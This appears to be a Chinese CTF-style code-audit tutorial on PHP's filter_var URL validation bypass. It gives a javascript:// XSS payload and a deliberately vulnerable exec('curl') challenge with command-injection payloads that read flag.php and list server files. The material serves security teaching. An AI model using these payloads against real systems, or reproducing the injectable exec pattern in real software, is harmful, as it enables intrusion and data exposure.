[代码审计Day2] filter_var函数缺陷代码审计
简介
// composer require "twig/twig"
require 'vendor/autoload.php'; class Template {
private $twig; public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>'; // Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
} public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
} public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
} (new Template())->render();
filter_var(variable, filter, options)
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
eg:
<?
$url=filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
echo '<br>';
$url=htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide</a>"
?>
payload:
?url=javascript://comment%250aalert(1);
在JS中//表示单行注释 所以后面的内容均为注释内容 %25是%的url编码 %0a是换行字符的url编码,
因为换行了后面的alert(1)就不在同一行了也不在注释的范围之内了 所以就能执行了
在执行过程中将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url中
然后用户点击链接就会触发弹窗!

简介
1
CTF例题
代码1
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
} }
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
} ?>
代码2
// flag.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
windows环境下payload:
http://127.0.0.1/test.php?url=test://"|type=flag.php;sec-redclub.com
linux环境下payload
http://192.168.52.129:6666/index.php?url=test://"|ls;"sec-redclub.com http://192.168.52.129:6666/index.php?url=test://"|cat<>ls;"sec-redclub.com
简介
11
------------恢复内容结束------------
[代码审计Day2] filter_var函数缺陷代码审计的更多相关文章
- 代码审计学习01-in_array() 函数缺陷
一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看 ...
- PHP代码审计02之filter_var()函数缺陷
前言 根据红日安全写的文章,学习PHP代码审计审计的第二节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会有一道CTF题目来进行巩固,外加一个实例来深入分析,想了 ...
- PHP-Audit-Labs-Day2 - filter_var函数缺陷
目录 分析 示例 payload 修复建议 Day02-CTF题解 参考链接 分析 先看源码 // composer require "twig/twig" require 've ...
- filter_var()函数
我们使用 payload :?url=javascript://comment%250aalert(1) ,可以执行 alert 函数: 实际上,这里的 // 在JavaScript中表示单行注释,所 ...
- PHP代码审计01之in_array()函数缺陷
前言 从今天起,结合红日安全写的文章,开始学习代码审计,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会再用一道有相同问题的CTF题来进行巩固.下面开始分析. 漏洞分析 ...
- 代码审计之create_function()函数
0x00 create_function()简介 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称. 语法: create_f ...
- PHP代码审计之create_function()函数
0x00 create_function()简介 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称. 语法: 1 create ...
- PHP filter_var 函数用法
先介绍下PHP Filter PHP手册地址:http://php.net/manual/zh/ref.filter.php PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤. ...
- 学习笔记:filter_var()函数
PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤 filter_var() 函数通过指定的过滤器过滤变量. 如果成功,则返回已过滤的数据,如果失败,则返回 false. 语法 f ...
随机推荐
- vue中上拉加载数据的实现
获取屏幕高度来判断数据的加载 效果是这样的
- Mac下使用GitHub+Hexo搭建个人博客
首发链接 开始之前需要在电脑上安装好Git和node.js,Mac上可以使用Homebrew命令行工具来安装Git和node.js 安装Homebrew 在命令行工具输入以下命令,如果已经安装过Hom ...
- webpack4的安装使用
1.全局安装Webpack 安装到全局后你可以在任何地方共用一个 Webpack 可执行文件( 也就是说可以直接在终端使用webpack的命名 ,例如:webpack --config webpack ...
- JSP标签语法、JSTL标签库、EL表达式辨析
<一.JSP > JSP 语法语法格式: <% 代码片段 %>或者<jsp:scriptlet> 代码片段</jsp:scriptlet> JSP声明 ...
- 【4】TensorFlow光速入门-保存模型及加载模型并使用
本文地址:https://www.cnblogs.com/tujia/p/13862360.html 系列文章: [0]TensorFlow光速入门-序 [1]TensorFlow光速入门-tenso ...
- 微信小程序UI自动化: minium文档部署
目录 参考资料 1. 在线文档(临时) 2. 本地部署 参考资料 https://git.weixin.qq.com/minitest/minium-doc 1. 在线文档(临时) 其实上面的链接里面 ...
- java数据结构-07栈
一.什么是栈 栈是一种线性结构,栈的特点就是先进后出(FILO):就像弹夹装子弹一样,最先压进去的在最底下,最后才被射出. 二.相关接口设计 三.栈的实现 栈可以用之前的数组.链表等设计,这里我使 ...
- python爬虫scrapy框架
Scrapy 框架 关注公众号"轻松学编程"了解更多. 一.简介 Scrapy是用纯Python实现一个为了爬取网站数据.提取结构性数据而编写的应用框架,用途非常广泛. 框架的力量 ...
- IDEA 搭建 Spark 源码 (Ubuntu)
版本:Spark 2.4.3/JDK 1.8/Scala 2.11.0 1.选择Spark版本.压缩包下载. 2.IDEA中左下角Terminal下输入: mvn -DskipTests clean ...
- python求平均数及打印出低于平均数的值列表
刚学Python的时候还是要多动手进行一些小程序的编写,要持续不断的进行,知识才能掌握的牢.今天就讲一下Python怎么求平均数,及打印出低于平均数的数值列表 方法一: scores1 = [91, ...